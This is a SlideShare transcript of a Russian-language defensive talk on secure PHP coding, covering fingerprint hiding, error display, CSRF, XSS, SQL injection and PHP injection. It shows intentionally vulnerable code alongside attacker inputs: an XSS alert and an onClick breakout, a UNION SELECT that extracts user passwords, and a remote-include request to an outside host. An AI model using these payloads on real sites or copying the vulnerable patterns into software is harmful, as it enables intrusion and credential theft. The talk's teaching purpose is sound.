SlideShare a Scribd company logo
1 of 27
Download to read offline
Максим “Arrim” Попов
Максим “Arrim” Попов
Безопасный кодинг
хакеры нас не достанут
Максим “Arrim” Попов
WHOAMI
Maxim “Arrim” Popov
Backend разработчик
@Arrim_kz
Максим “Arrim” Попов
Fingerprint
Позволяет узнать какой движок или framework вы используете.
Тем самым хакер может воспользоваться уже известной
уязвимостью, которую вы не успели закрыть.
Так же боты используют Fingerprint для поиска уязвимых
сайтов.
Максим “Arrim” Попов
Fingerprint в wordpress
В header страницы:
<meta name="generator"
content="WordPress 4.3.1">
В RSS:
<generator>http://wordpress.org/?v=
4.3.1</generator>
При подключении стилей и скриптов:
<link rel='stylesheet'
id='dashicons-css'
href='http://your_site/core/wp-incl
udes/css/dashicons.min.css?ver=4.3.
1' type='text/css' media='all' />
Максим “Arrim” Попов
Fingerprint в wordpress
В header страницы:
<meta name="generator"
content="WordPress 4.3.1">
В RSS:
<generator>http://wordpress.org/?v=
4.3.1</generator>
При подключении стилей и скриптов:
<link rel='stylesheet'
id='dashicons-css'
href='http://your_site/core/wp-incl
udes/css/dashicons.min.css?ver=4.3.
1' type='text/css' media='all' />
В functions.php:
add_filter('the_generator',
'__return_empty_string');
function rem_wp_ver_css_js ($src) {
if (strpos($src, 'ver='))
$src =
remove_query_arg('ver', $src);
return $src;
}
add_filter ('style_loader_src',
'rem_wp_ver_css_js', 9999);
add_filter ('script_loader_src',
'rem_wp_ver_css_js', 9999);
Максим “Arrim” Попов
[название движка] скрыть версию
Максим “Arrim” Попов
Вывод ошибок
Максим “Arrim” Попов
ini_set('display_errors','Off');
Максим “Arrim” Попов
Извините, у нас обед ошибка
Максим “Arrim” Попов
CSRF
CSRF (англ. Сross Site Request Forgery — «Подделка
межсайтовых запросов», также известен как XSRF) — вид атак
на посетителей веб-сайтов. Если жертва заходит на сайт,
созданный злоумышленником, от её лица тайно отправляется
запрос на другой сервер (например, на сервер платёжной
системы), осуществляющий некую вредоносную операцию
(например, перевод денег на счёт злоумышленника).
Максим “Arrim” Попов
CSRF
Метод: logOutAction()
[/logout]
...
$this->auth->remove();
...
<a href="/logout">Выйти</a>
Опасная картинка:
<img src="/logout">
Максим “Arrim” Попов
CSRF
if($this->security->checkToken())
{
$this->auth->remove();
}
…
<a href="/logout?<?= $this->security->getTokenKey(); ?>=<?=
$this->security->getToken(); ?>">Выйти</a>
Максим “Arrim” Попов
XSS
XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») —
тип атаки на веб-системы, заключающийся во внедрении в
выдаваемую веб-системой страницу вредоносного кода (который
будет выполнен на компьютере пользователя при открытии им
этой страницы) и взаимодействии этого кода с веб-сервером
злоумышленника.
Максим “Arrim” Попов
XSS
Уязвимый код:
<title>
<?php echo $_GET['query'] ?>
</title>
Запрос хакера:
<script>
alert("HACK!")
</script>
Максим “Arrim” Попов
XSS
Уязвимый код:
<title>
<?php echo $_GET['query'] ?>
</title>
Запрос хакера:
<script>
alert("HACK!")
</script>
Максим “Arrim” Попов
Защита от XSS: strip_tags
<title>
<?php echo
strip_tags($_GET['query']) ?>
</title>
Результат:
<title>
alert("HACK!")
</title>
<input value="<?php
strip_tags($_GET['query']); ?>">
Запрос хакера:
" onClick="alert(‘HACK!’);
Результат:
<input value=""
onClick="alert('HACK!');">
Максим “Arrim” Попов
Защита от XSS: strip_tags
<title>
<?php echo
strip_tags($_GET['query']) ?>
</title>
Результат:
<title>
alert("HACK!")
</title>
Максим “Arrim” Попов
htmlentities() и htmlspecialchars()
<input value="<?php
htmlentities($_GET['query']); ?>">
Результат:
<input value="&quot;
onClick=&quot;alert('HACK!')&quot;">
<input value="<?php
htmlspecialchars($_GET['query']); ?>">
Результат:
<input value="&quot;
onClick=&quot;alert('HACK!')&quot;">
Максим “Arrim” Попов
SQL injection
Внедрение SQL-кода (англ. SQL injection) — один из
распространённых способов взлома сайтов и программ,
работающих с базами данных, основанный на внедрении в запрос
произвольного SQL-кода.
Максим “Arrim” Попов
SQL injection
$news_id = $_GET['id'];
mysqli_query($link,
"SELECT * FROM news WHERE id =
$news_id");
Запрос хакера:
news.php?news_id=-1 UNION SELECT
name,2,pass,4,5 FROM users WHERE
id=1
Результат:
SELECT * FROM news
WHERE id = -1
UNION SELECT name,2,pass,4,5 FROM
users WHERE id=1
Максим “Arrim” Попов
SQL injection
$news_id = (int) $_GET['id'];
mysqli_query($link,
"SELECT * FROM news WHERE id =
$news_id");
Запрос хакера:
news.php?news_id=-1 UNION SELECT
name,2,pass,4,5 FROM users WHERE
id=1
Результат:
SELECT * FROM news
WHERE id = -1
Максим “Arrim” Попов
mysqli_real_escape_string()
Максим “Arrim” Попов
SQL injection
Articles::find(array(
"title LIKE :search:",
"bind" => array(
"search" => "%".$this->request->getQuery("s")."%",
),
));
Максим “Arrim” Попов
PHP injection
PHP-инъекция (англ. PHP injection) — один из способов взлома
веб-сайтов, работающих на PHP, заключающийся в выполнении
постороннего кода на серверной стороне.
Максим “Arrim” Попов
PHP injection
eval()
preg_replace() (с модификатором «e»)
require_once()
include_once()
include()
require()
create_function()
$module = $_GET['module'];
include $module . '.php';
Запрос хакера:
?module=http://slider.kz/evilscript
Максим “Arrim” Попов

More Related Content

What's hot

Основые безопасности WordPress
Основые безопасности WordPressОсновые безопасности WordPress
Основые безопасности WordPressKonstantin Kovshenin
 
Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017revisium
 
Лечение мобильных, поисковых редиректов и дорвеев на сайте
Лечение мобильных, поисковых редиректов и дорвеев на сайте Лечение мобильных, поисковых редиректов и дорвеев на сайте
Лечение мобильных, поисковых редиректов и дорвеев на сайте revisium
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Mikhail Egorov
 
WordPress под прицелом хакеров
WordPress под прицелом хакеровWordPress под прицелом хакеров
WordPress под прицелом хакеровDenis Sinegubko
 
Application security? Firewall it!
Application security? Firewall it!Application security? Firewall it!
Application security? Firewall it!Positive Hack Days
 
Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"
Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"
Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"Defcon Moscow
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
 
Под капотом Vulners
Под капотом VulnersПод капотом Vulners
Под капотом VulnersKirill Ermakov
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?phpdevby
 
Magic Box, или Как пришлось сломать банкоматы, чтобы их спасти
Magic Box, или Как пришлось сломать банкоматы, чтобы их спастиMagic Box, или Как пришлось сломать банкоматы, чтобы их спасти
Magic Box, или Как пришлось сломать банкоматы, чтобы их спастиPositive Hack Days
 
Sim sim-2
Sim sim-2Sim sim-2
Sim sim-2gorad
 
Веб-сервисы на страже безопасности
Веб-сервисы на страже безопасностиВеб-сервисы на страже безопасности
Веб-сервисы на страже безопасностиСергей Сторчак
 

What's hot (14)

Основые безопасности WordPress
Основые безопасности WordPressОсновые безопасности WordPress
Основые безопасности WordPress
 
Вебинар WebPromoExperts. Безопасность сайта. Дмитрий Снопченк…
Вебинар WebPromoExperts. Безопасность сайта. Дмитрий Снопченк…Вебинар WebPromoExperts. Безопасность сайта. Дмитрий Снопченк…
Вебинар WebPromoExperts. Безопасность сайта. Дмитрий Снопченк…
 
Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017Выступление Ревизиум на ХостОбзор 2017
Выступление Ревизиум на ХостОбзор 2017
 
Лечение мобильных, поисковых редиректов и дорвеев на сайте
Лечение мобильных, поисковых редиректов и дорвеев на сайте Лечение мобильных, поисковых редиректов и дорвеев на сайте
Лечение мобильных, поисковых редиректов и дорвеев на сайте
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
WordPress под прицелом хакеров
WordPress под прицелом хакеровWordPress под прицелом хакеров
WordPress под прицелом хакеров
 
Application security? Firewall it!
Application security? Firewall it!Application security? Firewall it!
Application security? Firewall it!
 
Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"
Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"
Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 
Под капотом Vulners
Под капотом VulnersПод капотом Vulners
Под капотом Vulners
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
Magic Box, или Как пришлось сломать банкоматы, чтобы их спасти
Magic Box, или Как пришлось сломать банкоматы, чтобы их спастиMagic Box, или Как пришлось сломать банкоматы, чтобы их спасти
Magic Box, или Как пришлось сломать банкоматы, чтобы их спасти
 
Sim sim-2
Sim sim-2Sim sim-2
Sim sim-2
 
Веб-сервисы на страже безопасности
Веб-сервисы на страже безопасностиВеб-сервисы на страже безопасности
Веб-сервисы на страже безопасности
 

Viewers also liked

flag{жив_ли_CTF_в _Казахстане?} (@fuzzyf10w && @n0z3r0) CTF Team: b1n4ry4rms
flag{жив_ли_CTF_в _Казахстане?} (@fuzzyf10w && @n0z3r0) CTF Team: b1n4ry4rmsflag{жив_ли_CTF_в _Казахстане?} (@fuzzyf10w && @n0z3r0) CTF Team: b1n4ry4rms
flag{жив_ли_CTF_в _Казахстане?} (@fuzzyf10w && @n0z3r0) CTF Team: b1n4ry4rmsdefcon_kz
 
Фишинг (Стекольников Илья)
Фишинг (Стекольников Илья)Фишинг (Стекольников Илья)
Фишинг (Стекольников Илья)defcon_kz
 
БАЗОВАЯ ЭКСПЛУАТАЦИЯ ПЕРЕПОЛНЕНИЯ БУФЕРА (ДАНИЯР D4K3)
БАЗОВАЯ ЭКСПЛУАТАЦИЯ ПЕРЕПОЛНЕНИЯ БУФЕРА (ДАНИЯР D4K3)БАЗОВАЯ ЭКСПЛУАТАЦИЯ ПЕРЕПОЛНЕНИЯ БУФЕРА (ДАНИЯР D4K3)
БАЗОВАЯ ЭКСПЛУАТАЦИЯ ПЕРЕПОЛНЕНИЯ БУФЕРА (ДАНИЯР D4K3)defcon_kz
 
Добро пожаловать в практическую безопасность (Сергей Белов)
Добро пожаловать в практическую безопасность (Сергей Белов)Добро пожаловать в практическую безопасность (Сергей Белов)
Добро пожаловать в практическую безопасность (Сергей Белов)defcon_kz
 
ХАРДЕНИНГ (Аринов Ильяс (determination))
ХАРДЕНИНГ (Аринов Ильяс (determination))ХАРДЕНИНГ (Аринов Ильяс (determination))
ХАРДЕНИНГ (Аринов Ильяс (determination))defcon_kz
 
SECURITY CHECKLIST (Yevgeniy Goncharov aka xck, @sysadminkz)
SECURITY CHECKLIST (Yevgeniy Goncharov aka xck, @sysadminkz)SECURITY CHECKLIST (Yevgeniy Goncharov aka xck, @sysadminkz)
SECURITY CHECKLIST (Yevgeniy Goncharov aka xck, @sysadminkz)defcon_kz
 
Взлом Wi-Fi, теперь это мое! Теория и практические примеры по взлому Wi-Fi се...
Взлом Wi-Fi, теперь это мое! Теория и практические примеры по взлому Wi-Fi се...Взлом Wi-Fi, теперь это мое! Теория и практические примеры по взлому Wi-Fi се...
Взлом Wi-Fi, теперь это мое! Теория и практические примеры по взлому Wi-Fi се...defcon_kz
 
Как парализовать государство за 60 минут. (Сатиев Олжас)
Как парализовать государство за 60 минут. (Сатиев Олжас)Как парализовать государство за 60 минут. (Сатиев Олжас)
Как парализовать государство за 60 минут. (Сатиев Олжас)defcon_kz
 
Полезные железки или к взлому GSM сетей готов! (Ербол)
Полезные железки или к взлому GSM сетей готов! (Ербол)Полезные железки или к взлому GSM сетей готов! (Ербол)
Полезные железки или к взлому GSM сетей готов! (Ербол)defcon_kz
 
DEFCON и развитие информационной безопасности в стране. (Олжас Сатиев)
DEFCON и развитие информационной безопасности в стране. (Олжас Сатиев) DEFCON и развитие информационной безопасности в стране. (Олжас Сатиев)
DEFCON и развитие информационной безопасности в стране. (Олжас Сатиев) defcon_kz
 
Разведка боем, правильный сбор внешнего сетевого периметра (Антон Bo0oM Лопан...
Разведка боем, правильный сбор внешнего сетевого периметра (Антон Bo0oM Лопан...Разведка боем, правильный сбор внешнего сетевого периметра (Антон Bo0oM Лопан...
Разведка боем, правильный сбор внешнего сетевого периметра (Антон Bo0oM Лопан...defcon_kz
 
Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ре...
Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ре...Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ре...
Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ре...defcon_kz
 
Внутренняя кухня информационных вбросов. Детектив по мотивам access_log (Анто...
Внутренняя кухня информационных вбросов. Детектив по мотивам access_log (Анто...Внутренняя кухня информационных вбросов. Детектив по мотивам access_log (Анто...
Внутренняя кухня информационных вбросов. Детектив по мотивам access_log (Анто...defcon_kz
 
Infowar Russia against Ukraine 2014
Infowar Russia against Ukraine 2014Infowar Russia against Ukraine 2014
Infowar Russia against Ukraine 2014Denis Bohush
 
Manipulation Strategy Rus 2016
Manipulation Strategy Rus 2016Manipulation Strategy Rus 2016
Manipulation Strategy Rus 2016Denis Bohush
 
Информационная безопасность: Вводная лекция
Информационная безопасность: Вводная лекцияИнформационная безопасность: Вводная лекция
Информационная безопасность: Вводная лекцияMax Kornev
 
Информационная безопасность и фактор времени
Информационная безопасность и фактор времениИнформационная безопасность и фактор времени
Информационная безопасность и фактор времениAleksey Lukatskiy
 

Viewers also liked (17)

flag{жив_ли_CTF_в _Казахстане?} (@fuzzyf10w && @n0z3r0) CTF Team: b1n4ry4rms
flag{жив_ли_CTF_в _Казахстане?} (@fuzzyf10w && @n0z3r0) CTF Team: b1n4ry4rmsflag{жив_ли_CTF_в _Казахстане?} (@fuzzyf10w && @n0z3r0) CTF Team: b1n4ry4rms
flag{жив_ли_CTF_в _Казахстане?} (@fuzzyf10w && @n0z3r0) CTF Team: b1n4ry4rms
 
Фишинг (Стекольников Илья)
Фишинг (Стекольников Илья)Фишинг (Стекольников Илья)
Фишинг (Стекольников Илья)
 
БАЗОВАЯ ЭКСПЛУАТАЦИЯ ПЕРЕПОЛНЕНИЯ БУФЕРА (ДАНИЯР D4K3)
БАЗОВАЯ ЭКСПЛУАТАЦИЯ ПЕРЕПОЛНЕНИЯ БУФЕРА (ДАНИЯР D4K3)БАЗОВАЯ ЭКСПЛУАТАЦИЯ ПЕРЕПОЛНЕНИЯ БУФЕРА (ДАНИЯР D4K3)
БАЗОВАЯ ЭКСПЛУАТАЦИЯ ПЕРЕПОЛНЕНИЯ БУФЕРА (ДАНИЯР D4K3)
 
Добро пожаловать в практическую безопасность (Сергей Белов)
Добро пожаловать в практическую безопасность (Сергей Белов)Добро пожаловать в практическую безопасность (Сергей Белов)
Добро пожаловать в практическую безопасность (Сергей Белов)
 
ХАРДЕНИНГ (Аринов Ильяс (determination))
ХАРДЕНИНГ (Аринов Ильяс (determination))ХАРДЕНИНГ (Аринов Ильяс (determination))
ХАРДЕНИНГ (Аринов Ильяс (determination))
 
SECURITY CHECKLIST (Yevgeniy Goncharov aka xck, @sysadminkz)
SECURITY CHECKLIST (Yevgeniy Goncharov aka xck, @sysadminkz)SECURITY CHECKLIST (Yevgeniy Goncharov aka xck, @sysadminkz)
SECURITY CHECKLIST (Yevgeniy Goncharov aka xck, @sysadminkz)
 
Взлом Wi-Fi, теперь это мое! Теория и практические примеры по взлому Wi-Fi се...
Взлом Wi-Fi, теперь это мое! Теория и практические примеры по взлому Wi-Fi се...Взлом Wi-Fi, теперь это мое! Теория и практические примеры по взлому Wi-Fi се...
Взлом Wi-Fi, теперь это мое! Теория и практические примеры по взлому Wi-Fi се...
 
Как парализовать государство за 60 минут. (Сатиев Олжас)
Как парализовать государство за 60 минут. (Сатиев Олжас)Как парализовать государство за 60 минут. (Сатиев Олжас)
Как парализовать государство за 60 минут. (Сатиев Олжас)
 
Полезные железки или к взлому GSM сетей готов! (Ербол)
Полезные железки или к взлому GSM сетей готов! (Ербол)Полезные железки или к взлому GSM сетей готов! (Ербол)
Полезные железки или к взлому GSM сетей готов! (Ербол)
 
DEFCON и развитие информационной безопасности в стране. (Олжас Сатиев)
DEFCON и развитие информационной безопасности в стране. (Олжас Сатиев) DEFCON и развитие информационной безопасности в стране. (Олжас Сатиев)
DEFCON и развитие информационной безопасности в стране. (Олжас Сатиев)
 
Разведка боем, правильный сбор внешнего сетевого периметра (Антон Bo0oM Лопан...
Разведка боем, правильный сбор внешнего сетевого периметра (Антон Bo0oM Лопан...Разведка боем, правильный сбор внешнего сетевого периметра (Антон Bo0oM Лопан...
Разведка боем, правильный сбор внешнего сетевого периметра (Антон Bo0oM Лопан...
 
Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ре...
Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ре...Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ре...
Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ре...
 
Внутренняя кухня информационных вбросов. Детектив по мотивам access_log (Анто...
Внутренняя кухня информационных вбросов. Детектив по мотивам access_log (Анто...Внутренняя кухня информационных вбросов. Детектив по мотивам access_log (Анто...
Внутренняя кухня информационных вбросов. Детектив по мотивам access_log (Анто...
 
Infowar Russia against Ukraine 2014
Infowar Russia against Ukraine 2014Infowar Russia against Ukraine 2014
Infowar Russia against Ukraine 2014
 
Manipulation Strategy Rus 2016
Manipulation Strategy Rus 2016Manipulation Strategy Rus 2016
Manipulation Strategy Rus 2016
 
Информационная безопасность: Вводная лекция
Информационная безопасность: Вводная лекцияИнформационная безопасность: Вводная лекция
Информационная безопасность: Вводная лекция
 
Информационная безопасность и фактор времени
Информационная безопасность и фактор времениИнформационная безопасность и фактор времени
Информационная безопасность и фактор времени
 

Similar to Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Badoo Development
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюкkuchinskaya
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4rit2011
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодняDmitry Evteev
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. ОсновыPositive Hack Days
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Ontico
 
Яндекс.Вебмастерская №3: как найти вирусы и вредоносный код на сайте
Яндекс.Вебмастерская №3: как найти вирусы и вредоносный код на сайтеЯндекс.Вебмастерская №3: как найти вирусы и вредоносный код на сайте
Яндекс.Вебмастерская №3: как найти вирусы и вредоносный код на сайтеrevisium
 
Николай Сиварев "Приручая сайты"
Николай Сиварев "Приручая сайты"Николай Сиварев "Приручая сайты"
Николай Сиварев "Приручая сайты"Yandex
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxssyaevents
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Andrew Mayorov
 
PHP Tricks
PHP TricksPHP Tricks
PHP TricksBlackFan
 
Кроссбраузерные решения в рекламной сети Яндекса
Кроссбраузерные решения в рекламной сети ЯндексаКроссбраузерные решения в рекламной сети Яндекса
Кроссбраузерные решения в рекламной сети ЯндексаMedia Gorod
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs wafd0znp
 
Безопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковБезопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковYandex
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionAndrew Petukhov
 
Где прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковГде прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковYandex
 

Similar to Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов) (20)

Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюк
 
PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
PT MIFI Labxss
PT  MIFI LabxssPT  MIFI Labxss
PT MIFI Labxss
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. Основы
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
Яндекс.Вебмастерская №3: как найти вирусы и вредоносный код на сайте
Яндекс.Вебмастерская №3: как найти вирусы и вредоносный код на сайтеЯндекс.Вебмастерская №3: как найти вирусы и вредоносный код на сайте
Яндекс.Вебмастерская №3: как найти вирусы и вредоносный код на сайте
 
Николай Сиварев "Приручая сайты"
Николай Сиварев "Приручая сайты"Николай Сиварев "Приручая сайты"
Николай Сиварев "Приручая сайты"
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
176023
176023176023
176023
 
Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"Alexei Sintsov - "Between error and vulerability - one step"
Alexei Sintsov - "Between error and vulerability - one step"
 
PHP Tricks
PHP TricksPHP Tricks
PHP Tricks
 
Кроссбраузерные решения в рекламной сети Яндекса
Кроссбраузерные решения в рекламной сети ЯндексаКроссбраузерные решения в рекламной сети Яндекса
Кроссбраузерные решения в рекламной сети Яндекса
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
 
Безопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковБезопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр Волков
 
Ci
CiCi
Ci
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
 
Где прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковГде прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий Земсков
 

More from defcon_kz

Бекдоры в пхп. Остаться незамеченным или проникновение без боли
Бекдоры в пхп. Остаться незамеченным или проникновение без болиБекдоры в пхп. Остаться незамеченным или проникновение без боли
Бекдоры в пхп. Остаться незамеченным или проникновение без болиdefcon_kz
 
Маленький террорист или обзор возможностей Osmocom на мотороле с118
Маленький террорист или обзор возможностей Osmocom на мотороле с118Маленький террорист или обзор возможностей Osmocom на мотороле с118
Маленький террорист или обзор возможностей Osmocom на мотороле с118defcon_kz
 
Год в Github bugbounty, опыт участия
Год в Github bugbounty, опыт участияГод в Github bugbounty, опыт участия
Год в Github bugbounty, опыт участияdefcon_kz
 
DEFCON и развитие информационной безопасности в стране
DEFCON и развитие информационной безопасности в странеDEFCON и развитие информационной безопасности в стране
DEFCON и развитие информационной безопасности в странеdefcon_kz
 
Высокоточное геопозиционирование или "Как уничтожить урожай марихуаны в два к...
Высокоточное геопозиционирование или "Как уничтожить урожай марихуаны в два к...Высокоточное геопозиционирование или "Как уничтожить урожай марихуаны в два к...
Высокоточное геопозиционирование или "Как уничтожить урожай марихуаны в два к...defcon_kz
 
Двойное проникновение в корпоративные сети
Двойное проникновение в корпоративные сетиДвойное проникновение в корпоративные сети
Двойное проникновение в корпоративные сетиdefcon_kz
 
Эксплуатация особенностей safari в социотехническом пентесте
Эксплуатация особенностей safari в социотехническом пентестеЭксплуатация особенностей safari в социотехническом пентесте
Эксплуатация особенностей safari в социотехническом пентестеdefcon_kz
 
Истекшие домены как киберугроза
Истекшие домены как киберугрозаИстекшие домены как киберугроза
Истекшие домены как киберугрозаdefcon_kz
 
The Atomic bomb for kiddies /exploring NSA exploits/
The Atomic bomb for kiddies /exploring NSA exploits/The Atomic bomb for kiddies /exploring NSA exploits/
The Atomic bomb for kiddies /exploring NSA exploits/defcon_kz
 
Linux for newbie hackers
Linux for newbie hackersLinux for newbie hackers
Linux for newbie hackersdefcon_kz
 

More from defcon_kz (10)

Бекдоры в пхп. Остаться незамеченным или проникновение без боли
Бекдоры в пхп. Остаться незамеченным или проникновение без болиБекдоры в пхп. Остаться незамеченным или проникновение без боли
Бекдоры в пхп. Остаться незамеченным или проникновение без боли
 
Маленький террорист или обзор возможностей Osmocom на мотороле с118
Маленький террорист или обзор возможностей Osmocom на мотороле с118Маленький террорист или обзор возможностей Osmocom на мотороле с118
Маленький террорист или обзор возможностей Osmocom на мотороле с118
 
Год в Github bugbounty, опыт участия
Год в Github bugbounty, опыт участияГод в Github bugbounty, опыт участия
Год в Github bugbounty, опыт участия
 
DEFCON и развитие информационной безопасности в стране
DEFCON и развитие информационной безопасности в странеDEFCON и развитие информационной безопасности в стране
DEFCON и развитие информационной безопасности в стране
 
Высокоточное геопозиционирование или "Как уничтожить урожай марихуаны в два к...
Высокоточное геопозиционирование или "Как уничтожить урожай марихуаны в два к...Высокоточное геопозиционирование или "Как уничтожить урожай марихуаны в два к...
Высокоточное геопозиционирование или "Как уничтожить урожай марихуаны в два к...
 
Двойное проникновение в корпоративные сети
Двойное проникновение в корпоративные сетиДвойное проникновение в корпоративные сети
Двойное проникновение в корпоративные сети
 
Эксплуатация особенностей safari в социотехническом пентесте
Эксплуатация особенностей safari в социотехническом пентестеЭксплуатация особенностей safari в социотехническом пентесте
Эксплуатация особенностей safari в социотехническом пентесте
 
Истекшие домены как киберугроза
Истекшие домены как киберугрозаИстекшие домены как киберугроза
Истекшие домены как киберугроза
 
The Atomic bomb for kiddies /exploring NSA exploits/
The Atomic bomb for kiddies /exploring NSA exploits/The Atomic bomb for kiddies /exploring NSA exploits/
The Atomic bomb for kiddies /exploring NSA exploits/
 
Linux for newbie hackers
Linux for newbie hackersLinux for newbie hackers
Linux for newbie hackers
 

Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)

  • 2. Максим “Arrim” Попов Безопасный кодинг хакеры нас не достанут
  • 3. Максим “Arrim” Попов WHOAMI Maxim “Arrim” Popov Backend разработчик @Arrim_kz
  • 4. Максим “Arrim” Попов Fingerprint Позволяет узнать какой движок или framework вы используете. Тем самым хакер может воспользоваться уже известной уязвимостью, которую вы не успели закрыть. Так же боты используют Fingerprint для поиска уязвимых сайтов.
